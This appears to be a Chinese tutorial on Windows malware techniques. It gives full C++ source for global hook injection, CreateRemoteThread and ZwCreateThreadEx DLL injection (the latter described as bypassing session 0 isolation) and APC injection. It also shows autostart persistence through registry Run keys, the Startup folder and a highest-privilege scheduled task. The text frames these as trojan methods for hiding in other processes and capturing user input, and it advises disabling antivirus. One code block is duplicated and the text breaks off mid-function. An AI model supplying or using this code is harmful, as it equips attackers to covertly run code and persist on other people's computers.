注入技术

全局钩子注入

hook,指利用api来提前拦截并处理windows消息的一种技术。如键盘钩子,许多木马都有这东西,监视你的键盘操作。

全局钩子是系统钩子的一种,当指定的一些消息被系统中任何应用程序所处理时,这个钩子就被调用

钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,

还可以强制结束消息的传递。对每种类型的钩子由系统来维护一个钩子链,最近安装的钩子放在链的开始,而最先安装的钩子放在最后,也就是后加入的先获得控制权。要实现Win32的系统钩子,必须调用SDK中的API函数SetWindowsHookEx来安装这个钩子函数,

这个函数的原型是

HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId)

其中,第一个参数是钩子的类型;
第二个参数是钩子函数的地址;
第三个参数是包含钩子函数的模块句柄;
第四个参数指定监视的线程。如果指定确定的线程,即为线程专用钩子;如果指定为空,即为全局钩子。其中,全局钩子函数必须包含在DLL(动态链接库)中,而线程专用钩子还可以包含在可执行文件中。
得到控制权的钩子函数在完成对消息的处理后,如果想要该消息继续传递,那么它必须调用另外一个SDK中的API函数CallNextHookEx来传递它。钩子函数也可以通过直接返回TRUE来丢弃该消息,并阻止该消息的传递。

Dll代码编写

当dll被链接时保存用于调用函数的句柄

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"

HMODULE g_hDllModule = NULL;  //作为SetWindowsHookEx调用的实例句柄

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        g_hDllModule = hModule;
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

然后创建好dll里面需要调用的函数

为了把钩子的句柄把传递给其他的进程我们可以再dll中创建共享内存
共享内存使用说明

利用共享内存防多开

下面的代码就是用#pragma data_seg 创建了一个叫 mydata 的数据段,并且用 #pragma comment(linker, “/SECTION:mydata,RWS”) 把其设置为可读写查的权限

// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。
//

#include "pch.h"


extern HMODULE g_hDllModule;
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")


// 钩子回调函数
LRESULT GetMsgProc(
    int code,
    WPARAM wParam,
    LPARAM lParam)
{
    return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}


// 设置全局钩子
// GlobalHook_Test.cpp : 定义 DLL 应用程序的导出函数。
//

#include "pch.h"


extern HMODULE g_hDllModule;
// 共享内存
#pragma data_seg("mydata")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:mydata,RWS")


// 钩子回调函数
LRESULT GetMsgProc(
    int code,
    WPARAM wParam,
    LPARAM lParam)
{
    return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}


// 设置全局钩子
BOOL SetGlobalHook()
{
    g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);
    if (NULL == g_hHook)
    {
        int error = GetLastError();
        return FALSE;
    }
    return TRUE;
}


// 卸载钩子
BOOL UnsetGlobalHook()
{
    if (g_hHook)
    {
        ::UnhookWindowsHookEx(g_hHook);
    }
    return TRUE;
}

最后建立一个导出表,用来调用 GobalHook_Test 中定义的函数

LIBRARY



EXPORTS
SetGlobalHook
UnsetGlobalHook

cpp代码编写

// Test-con.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include <Windows.h>
int main()
{
    std::cout << "Hello World!\n";
    typedef BOOL(*typedef_SetGlobalHook)();              //为函数声明一个别名,之后再把dll中相应的函数地址载入该别名
    typedef BOOL(*typedef_UnsetGlobalHook)();
    HMODULE hDll = NULL;
    typedef_SetGlobalHook SetGlobalHook = NULL;
    typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
    BOOL bRet = FALSE;

    do
    {
        hDll = ::LoadLibrary("Global_Hook_Test.dll");
        if (NULL == hDll)
        {
            printf("LoadLibrary Error[%d]\n", ::GetLastError());
            break;
        }
        SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetGlobalHook");
        if (NULL == SetGlobalHook)
        {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }
        bRet = SetGlobalHook();                         //设置钩子
        if (bRet)
        {
            MessageBox(NULL, "SetGlobalHook OK.\n", "SetGlobalHook OK.\n", NULL);
        }
        else
        {
            MessageBox(NULL, "Error.\n", "Error.\n", NULL);
        }

        system("pause");

        UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetGlobalHook"); 
        if (NULL == UnsetGlobalHook)
        {
            printf("GetProcAddress Error[%d]\n", ::GetLastError());
            break;
        }
        UnsetGlobalHook();                        //卸载钩子
        printf("UnsetGlobalHook OK.\n");

    } while (FALSE);

    system("pause");
    return 0;
}

这样子就完成全局钩子注入了 :-P)

远线程注入

远程线程注入是指一个进程在另一个进程中创建线程的技术。

远程线程是另一个进程中的线程。

通过远程线程注入,来使得木马运行在目标进程中,随意访问目标进程的内存空间,最后这个动态链接库里的代码就成为其他进程的一部分来实现了自身的隐藏执行,通过调用“hook”机制,监视用户的输入输出操作,截取有用的资料等操作。

这种木马的实际执行体是一个dll文件,由于Windows系统自身就包含着大量的dll文件,谁也无法一眼看出哪个dll文件不是系统自带的,所以这种木马的隐蔽性又提高了一级

远线程注入的关键就在于利用函数 CreatRemoteThread 在其他的进程中创建一个线程

CreateRemoteThread

函数原型
HANDLE CreateRemoteThread(
HANDLE hProcess, // handle to process
LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId // thread identifier
);

参数说明:
hProcess
[输入] 进程句柄
lpThreadAttributes
[输入] 线程安全描述字,指向SECURITY_ATTRIBUTES结构的指针
dwStackSize
[输入] 线程栈大小,以字节表示
lpStartAddress
[输入] 一个LPTHREAD_START_ROUTINE类型的指针,指向在远程进程中执行的函数地址
lpParameter
[输入] 传入参数
dwCreationFlags
[输入] 创建线程的其它标志

lpThreadId
[输出] 线程身份标志,如果为NULL,则不返回

返回值
成功返回新线程句柄,失败返回NULL,并且可调用GetLastError获得错误值。

这里我们主要关注这几个参数

hProcess        我们需要获取的进程句柄
lpStartAddress  指向由线程执行的 LPTHREAD_START_ROUTINE 类型的应用程序定义函数的指针,表示远程进程中线程的起始地址。 函数必须存在于远程进程中。
lpParameter     指向要传递给线程函数的变量的指针。

虽然windows有asrl的安全机制,但是还是有一些系统dll的加载基址不变比如 kernel32.dll 所以我们就用这个函数作为远线程函数的基地址

至于dll路径字符串可以先在宿主进程中申请一块内存,在用 WriteProcessMemory 将指定的dll路径写入目标进程中

#include "InjectDll.h"
#include "../DllTest/pch.h"

void ShowError(char* pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 CreateRemoteThread 实现远线程注入
BOOL CreateRemoteThreadInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;

    // 打开注入进程,获取进程句柄
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        int error = GetLastError();
        ShowError("OpenProcess");
        return FALSE;
    }
    // 在注入进程中申请内存
    dwSize = 1 + ::lstrlen(pszDllFileName);
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        ShowError("VirtualAllocEx");
        return FALSE;
    }
    // 向申请的内存中写入数据
    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory");
        return FALSE;
    }
    // 获取LoadLibraryA函数地址
    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        ShowError("GetProcAddress_LoadLibraryA");
        return FALSE;
    }
    // 使用 CreateRemoteThread 创建远线程, 实现 DLL 注入
    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, NULL);
    if (NULL == hRemoteThread)
    {
        ShowError("CreateRemoteThread");
        return FALSE;
    }
    // 关闭句柄
    ::CloseHandle(hProcess);

    return TRUE;
}

注入成功

突破session 0 隔离会话机制的远线程注入

session 0 隔离会话机制概述:在创建一个进程之后不会马上就运行,而是先挂起检查是否在同一会话层再决定是否执行。

在内核6.0引入会话隔离机制后我们普通的远线程注入无法行得通,于是我们要调用更加底层的函数来帮我们实现隔离突破

与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于,突破SESSION 0远线程注 入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程,而具体的远线 程注入原理是相同的。

因为 ZwCreateThreadEx 在ntdll.dll中没有声明所以我们需要使用GetProcessAddress 从ntdll.dll中获取该函数的导出地址

我们只需让第七个参数为0,就可以让其绕过session 0 隔离会话机制 在创建进程之后直接运行了


在64和32位下ZwCreateThreadEx的声明也不同

#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif

#include "Dll/pch.h"
#include "InjectDll.h"


void ShowError(char* pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName)
{
    HANDLE hProcess = NULL;
    SIZE_T dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    HANDLE hRemoteThread = NULL;
    DWORD dwStatus = 0;

    // 打开注入进程,获取进程句柄
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        ShowError("OpenProcess");
        return FALSE;
    }
    // 在注入进程中申请内存
    dwSize = 1 + ::lstrlen(pszDllFileName);
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
    if (NULL == pDllAddr)
    {
        ShowError("VirtualAllocEx");
        return FALSE;
    }
    // 向申请的内存中写入数据
    if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
    {
        ShowError("WriteProcessMemory");
        return FALSE;
    }
    // 加载 ntdll.dll
    HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
    if (NULL == hNtdllDll)
    {
        ShowError("LoadLirbary");
        return FALSE;
    }
    // 获取LoadLibraryA函数地址
    pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
    if (NULL == pFuncProcAddr)
    {
        ShowError("GetProcAddress_LoadLibraryA");
        return FALSE;
    }
    // 获取ZwCreateThread函数地址
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        ULONG CreateThreadFlags,
        SIZE_T ZeroBits,
        SIZE_T StackSize,
        SIZE_T MaximumStackSize,
        LPVOID pUnkown);
#else
    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
        PHANDLE ThreadHandle,
        ACCESS_MASK DesiredAccess,
        LPVOID ObjectAttributes,
        HANDLE ProcessHandle,
        LPTHREAD_START_ROUTINE lpStartAddress,
        LPVOID lpParameter,
        BOOL CreateSuspended,
        DWORD dwStackSize,
        DWORD dw1,
        DWORD dw2,
        LPVOID pUnkown);
#endif
    typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
    if (NULL == ZwCreateThreadEx)
    {
        ShowError("GetProcAddress_ZwCreateThread");
        return FALSE;
    }
    // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
    dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
    if (NULL == hRemoteThread)
    {
        ShowError("ZwCreateThreadEx");
        return FALSE;
    }
    // 关闭句柄
    ::CloseHandle(hProcess);
    ::FreeLibrary(hNtdllDll);

    return TRUE;
}

APC注入

用QueueUserAPC 函数把一个APC函数压入APC队列,当线程处于可通知状态下就会被调用。

我们利用QueueUserAPC 遍历线程, 插入APC 提供开始

QueueUserAPC

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

参数
[in] pfnAPC

指向应用程序提供的 APC 函数的指针,该函数在指定线程执行可警报的等待操作时调用。 及表示函数执行地址。

[in] hThread

线程的句柄。句柄必须具有THREAD_SET_CONTEXT访问权限。

[in] dwData

传递给pfnAPC参数指向的 APC 函数的单个值。及传递给执行函数的参数。

如果第一个参数是LoadLibraryA的函数地址,而第三个参数是dll路径,那么就会加载该dll,完成注入。

#include "../pch.h"
#include "h_ApcInject.h"


void ShowError(char* pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]\n", pszText);
    ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}


// 根据进程名称获取PID
DWORD GetProcessIdByProcessName(char* pszProcessName)
{
    DWORD dwProcessId = 0;
    PROCESSENTRY32 pe32 = { 0 };
    HANDLE hSnapshot = NULL;
    BOOL bRet = FALSE;
    ::RtlZeroMemory(&pe32, sizeof(pe32));
    pe32.dwSize = sizeof(pe32);

    // 获取进程快照
    hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (NULL == hSnapshot)
    {
        ShowError("CreateToolhelp32Snapshot");
        return dwProcessId;
    }

    // 获取第一条进程快照信息
    bRet = ::Process32First(hSnapshot, &pe32);
    while (bRet)
    {
        // 获取快照信息
        if (0 == ::lstrcmpi(pe32.szExeFile, pszProcessName))
        {
            dwProcessId = pe32.th32ProcessID;
            break;
        }

        // 遍历下一个进程快照信息
        bRet = ::Process32Next(hSnapshot, &pe32);
    }

    return dwProcessId;
}


// 根据PID获取所有的相应线程ID
BOOL GetAllThreadIdByProcessId(DWORD dwProcessId, DWORD** ppThreadId, DWORD* pdwThreadIdLength)
{
    DWORD* pThreadId = NULL;
    DWORD dwThreadIdLength = 0;
    DWORD dwBufferLength = 1000;
    THREADENTRY32 te32 = { 0 };
    HANDLE hSnapshot = NULL;
    BOOL bRet = TRUE;

    do
    {
        // 申请内存
        pThreadId = new DWORD[dwBufferLength];
        if (NULL == pThreadId)
        {
            ShowError("new");
            bRet = FALSE;
            break;
        }
        ::RtlZeroMemory(pThreadId, (dwBufferLength * sizeof(DWORD)));

        // 获取线程快照
        ::RtlZeroMemory(&te32, sizeof(te32));
        te32.dwSize = sizeof(te32);
        hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        if (NULL == hSnapshot)
        {
            ShowError("CreateToolhelp32Snapshot");
            bRet = FALSE;
            break;
        }

        // 获取第一条线程快照信息
        bRet = ::Thread32First(hSnapshot, &te32);
        while (bRet)
        {
            // 获取进程对应的线程ID
            if (te32.th32OwnerProcessID == dwProcessId)
            {
                pThreadId[dwThreadIdLength] = te32.th32ThreadID;
                dwThreadIdLength++;
            }

            // 遍历下一个线程快照信息
            bRet = ::Thread32Next(hSnapshot, &te32);
        }

        // 返回
        *ppThreadId = pThreadId;
        *pdwThreadIdLength = dwThreadIdLength;
        bRet = TRUE;

    } while (FALSE);

    if (FALSE == bRet)
    {
        if (pThreadId)
        {
            delete[]pThreadId;
            pThreadId = NULL;
        }
    }

    return bRet;
}


// APC注入
BOOL ApcInjectDll(char* pszProcessName, char* pszDllName)
{
    BOOL bRet = FALSE;
    DWORD dwProcessId = 0;
    DWORD* pThreadId = NULL;
    DWORD dwThreadIdLength = 0;
    HANDLE hProcess = NULL, hThread = NULL;
    PVOID pBaseAddress = NULL;
    PVOID pLoadLibraryAFunc = NULL;
    SIZE_T dwRet = 0, dwDllPathLen = 1 + ::lstrlen(pszDllName);
    DWORD i = 0;

    do
    {
        // 根据进程名称获取PID
        dwProcessId = GetProcessIdByProcessName(pszProcessName);
        if (0 >= dwProcessId)
        {
            bRet = FALSE;
            break;
        }

        // 根据PID获取所有的相应线程ID
        bRet = GetAllThreadIdByProcessId(dwProcessId, &pThreadId, &dwThreadIdLength);
        if (FALSE == bRet)
        {
            bRet = FALSE;
            break;
        }

        // 打开注入进程
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (NULL == hProcess)
        {
            ShowError("OpenProcess");
            bRet = FALSE;
            break;
        }

        // 在注入进程空间申请内存
        pBaseAddress = ::VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (NULL == pBaseAddress)
        {
            ShowError("VirtualAllocEx");
            bRet = FALSE;
            break;
        }
        // 向申请的空间中写入DLL路径数据 
        ::WriteProcessMemory(hProcess, pBaseAddress, pszDllName, dwDllPathLen, &dwRet);
        if (dwRet != dwDllPathLen)
        {
            ShowError("WriteProcessMemory");
            bRet = FALSE;
            break;
        }

        // 获取 LoadLibrary 地址
        pLoadLibraryAFunc = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        if (NULL == pLoadLibraryAFunc)
        {
            ShowError("GetProcessAddress");
            bRet = FALSE;
            break;
        }

        // 遍历线程, 插入APC
        for (i = 0; i < dwThreadIdLength; i++)
        {
            // 打开线程
            hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadId[i]);
            if (hThread)
            {
                // 插入APC
                ::QueueUserAPC((PAPCFUNC)pLoadLibraryAFunc, hThread, (ULONG_PTR)pBaseAddress);
                // 关闭线程句柄
                ::CloseHandle(hThread);
                hThread = NULL;
            }
        }

        bRet = TRUE;

    } while (FALSE);

    // 释放内存
    if (hProcess)
    {
        ::CloseHandle(hProcess);
        hProcess = NULL;
    }
    if (pThreadId)
    {
        delete[]pThreadId;
        pThreadId = NULL;
    }

    return bRet;
}

main如下:

// ApcInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include "../pch.h"
#include "h_ApcInject.h"
#include <tchar.h>

int _tmain(int argc, _TCHAR* argv[])
{
    BOOL bRet = FALSE;

    // APC注入
#ifdef _WIN64
    bRet = ApcInjectDll("animation.exe", "G:\\Desktop\\WindowsProgram\\Win_hacker\\Dll_apc\\Debug\\Dll_apc.dll");
#else
    bRet = ApcInjectDll("animation.exe", "G:\\Desktop\\WindowsProgram\\Win_hacker\\Dll_apc\\Debug\\Dll_apc.dll");
#endif
    if (bRet)
    {
        printf("APC Inject OK.\n");
    }
    else
    {
        printf("APC Inject ERROR.\n");
    }

    system("pause");
    return 0;
}

注入成功,如下

开机启动

修改注册表启动

主要用两个api函数。

RegOpenKeyEx 打开注册表键

RegSetValueEx 修改注册表值,实现开机自启

BOOL Reg_CurrentUser(char *lpszFileName, char *lpszValueName)
{
    // 默认权限
    HKEY hKey;
    // 打开注册表键
    if (ERROR_SUCCESS != ::RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
    {
        ShowError("RegOpenKeyEx");
        return FALSE;
    }
    // 修改注册表值,实现开机自启
    if (ERROR_SUCCESS != ::RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + ::lstrlen(lpszFileName)))) // lpszValueName 是 目标程序所在目录
    {
        ::RegCloseKey(hKey);
        ShowError("RegSetValueEx");
        return FALSE;
    }
    // 关闭注册表键
    ::RegCloseKey(hKey);

    return TRUE;
}


BOOL Reg_LocalMachine(char *lpszFileName, char *lpszValueName)
{
    // 管理员权限
    HKEY hKey;
    // 打开注册表键
    if (ERROR_SUCCESS != ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey))
    {
        ShowError("RegOpenKeyEx");
        return FALSE;
    }
    // 修改注册表值,实现开机自启
    if (ERROR_SUCCESS != ::RegSetValueEx(hKey, lpszValueName, 0, REG_SZ, (BYTE *)lpszFileName, (1 + ::lstrlen(lpszFileName))))
    {
        ::RegCloseKey(hKey);
        ShowError("RegSetValueEx");
        return FALSE;
    }
    // 关闭注册表键
    ::RegCloseKey(hKey);

    return TRUE;
}

// SlefStarting.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include "AutoRun_Reg.h"
#include "pch.h"

int main()
{
    // 第一种方式修改注册表:HKEY_CURRENT_USER
    if (FALSE == Reg_CurrentUser("C:\\Users\\DemonGan\\Desktop\\520_1.exe", "520"))
    {
        printf("Reg_CurrentUser Error!\n");
    }
    // 第二种方式修改注册表:HKEY_LOCAL_MACHINE
    if (FALSE == Reg_LocalMachine("C:\\Users\\DemonGan\\Desktop\\520_2.exe", "520"))
    {
        printf("Reg_LocalMachine Error!\n");
    }

    printf("Reg OK.\n");

    system("pause");
    return 0;
}

执行后如图所示,在注册表中写入了

计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

快速启动目录

先用 SHGetSpecialFolderPath 获取快速启动目录地址,然后将需要启动的程序的快捷方式拷贝到快速目录即可。

// QuickStarting.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#include "pch.h"
#include <Windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")


BOOL AutoRun_Startup(char* lpszSrcFilePath, char* lpszDestFileName)
{
    BOOL bRet = FALSE;
    char szStartupPath[MAX_PATH] = { 0 };
    char szDestFilePath[MAX_PATH] = { 0 };
    // 获取 快速启动目录 路径
    bRet = ::SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
    printf("szStartupPath=%s\n", szStartupPath);
    if (FALSE == bRet)
    {
        return FALSE;
    }
    // 构造拷贝的 目的文件路径
    ::wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
    // 拷贝文件到快速启动目录下
    bRet = ::CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
    if (FALSE == bRet)
    {
        return FALSE;
    }

    return TRUE;
}
int main()
{
    if (FALSE == AutoRun_Startup("C:\\Users\\DemonGan\\Desktop\\520.exe", "520.exe"))
    {
        printf("Startup Error!\n");
    }
    printf("Startup OK!\n");

    system("pause");
    return 0;
}

杀毒软件可能会误触,关闭即可。

SHGetSpecialFolderPath的用法

计划任务启动

计划任务会调用COM组件,虽然对于COM组件不太了解,但是可以利用其中的一些类来创建计划任务。

  1. 初始化操作
    用CoInitialize函数初始化COM接口。

  2. 调用CoCreateInstance 函数创建任务服务对象,ITaskService ,并将其链接到任务服务上。

  3. 从ITaskService对象中获取 Root Task Folder 的 指针对象 ITaskFolder,它指向的是新的注册任务。

创建计划任务依然需要管理员权限。

// TaskPlanning.cpp : 此文件包含 “main” 函数。程序执行将在此处开始并结束。
//
#include “pch.h”
#include
#include “TaskSchedule.h”

int main()
{
    CMyTaskSchedule task;
    BOOL bRet = FALSE;

    // 创建 任务计划
    bRet = task.NewTask("520", "C:\\Users\\DemonGan\\Desktop\\520.exe", "", "");
    if (FALSE == bRet)
    {
        printf("Create Task Schedule Error!\n");
    }

    // 暂停
    printf("Create Task Schedule OK!\n");
    system("pause");

    // 卸载 任务计划
    bRet = task.Delete("520");
    if (FALSE == bRet)
    {
        printf("Delete Task Schedule Error!\n");
    }

    printf("Delete Task Schedule OK!\n");
    system("pause");
    return 0;
}

---


#include "TaskSchedule.h"
#include "pch.h"


void ShowError(char* lpszText, DWORD dwErrCode)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error!\nError Code Is:0x%08x\n", lpszText, dwErrCode);
    ::MessageBox(NULL, szErr, "ERROR", MB_OK | MB_ICONERROR);
}


CMyTaskSchedule::CMyTaskSchedule(void)
{
    m_lpITS = NULL;
    m_lpRootFolder = NULL;
    // 初始化COM
    HRESULT hr = ::CoInitialize(NULL);
    if (FAILED(hr))
    {
        ShowError("CoInitialize", hr);
    }
    // 创建一个任务服务(Task Service)实例
    hr = ::CoCreateInstance(CLSID_TaskScheduler,
        NULL,
        CLSCTX_INPROC_SERVER,
        IID_ITaskService,
        (LPVOID*)(&m_lpITS));
    if (FAILED(hr))
    {
        ShowError("CoCreateInstance", hr);
    }
    // 连接到任务服务(Task Service)
    hr = m_lpITS->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
    if (FAILED(hr))
    {
        ShowError("ITaskService::Connect", hr);
    }
    // 获取Root Task Folder的指针,这个指针指向的是新注册的任务
    hr = m_lpITS->GetFolder(_bstr_t("\\"), &m_lpRootFolder);
    if (FAILED(hr))
    {
        ShowError("ITaskService::GetFolder", hr);
    }
}


CMyTaskSchedule::~CMyTaskSchedule(void)
{
    if (m_lpITS)
    {
        m_lpITS->Release();
    }
    if (m_lpRootFolder)
    {
        m_lpRootFolder->Release();
    }
    // 卸载COM
    ::CoUninitialize();
}


BOOL CMyTaskSchedule::Delete(char* lpszTaskName)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    CComVariant variantTaskName(NULL);
    variantTaskName = lpszTaskName;
    HRESULT hr = m_lpRootFolder->DeleteTask(variantTaskName.bstrVal, 0);
    if (FAILED(hr))
    {
        return FALSE;
    }

    return TRUE;
}


BOOL CMyTaskSchedule::DeleteFolder(char* lpszFolderName)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    CComVariant variantFolderName(NULL);
    variantFolderName = lpszFolderName;
    HRESULT hr = m_lpRootFolder->DeleteFolder(variantFolderName.bstrVal, 0);
    if (FAILED(hr))
    {
        return FALSE;
    }

    return TRUE;
}


BOOL CMyTaskSchedule::NewTask(char* lpszTaskName, char* lpszProgramPath, char* lpszParameters, char* lpszAuthor)
{
    if (NULL == m_lpRootFolder)
    {
        return FALSE;
    }
    // 如果存在相同的计划任务,则删除
    Delete(lpszTaskName);
    // 创建任务定义对象来创建任务
    ITaskDefinition* pTaskDefinition = NULL;
    HRESULT hr = m_lpITS->NewTask(0, &pTaskDefinition);
    if (FAILED(hr))
    {
        ShowError("ITaskService::NewTask", hr);
        return FALSE;
    }

    /* 设置注册信息 */
    IRegistrationInfo* pRegInfo = NULL;
    CComVariant variantAuthor(NULL);
    variantAuthor = lpszAuthor;
    hr = pTaskDefinition->get_RegistrationInfo(&pRegInfo);
    if (FAILED(hr))
    {
        ShowError("pTaskDefinition::get_RegistrationInfo", hr);
        return FALSE;
    }
    // 设置作者信息
    hr = pRegInfo->put_Author(variantAuthor.bstrVal);
    pRegInfo->Release();

    /* 设置登录类型和运行权限 */
    IPrincipal* pPrincipal = NULL;
    hr = pTaskDefinition->get_Principal(&pPrincipal);
    if (FAILED(hr))
    {
        ShowError("pTaskDefinition::get_Principal", hr);
        return FALSE;
    }
    // 设置登录类型
    hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
    // 设置运行权限
    // 最高权限  
    hr = pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
    pPrincipal->Release();

    /* 设置其他信息 */
    ITaskSettings* pSettting = NULL;
    hr = pTaskDefinition->get_Settings(&pSettting);
    if (FAILED(hr))
    {
        ShowError("pTaskDefinition::get_Settings", hr);
        return FALSE;
    }
    // 设置其他信息
    hr = pSettting->put_StopIfGoingOnBatteries(VARIANT_FALSE);
    hr = pSettting->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
    hr = pSettting->put_AllowDemandStart(VARIANT_TRUE);
    hr = pSettting->put_StartWhenAvailable(VARIANT_FALSE);
    hr = pSettting->put_MultipleInstances(TASK_INSTANCES_PARALLEL);
    pSettting->Release();

    /* 创建执行动作 */
    IActionCollection* pActionCollect = NULL;
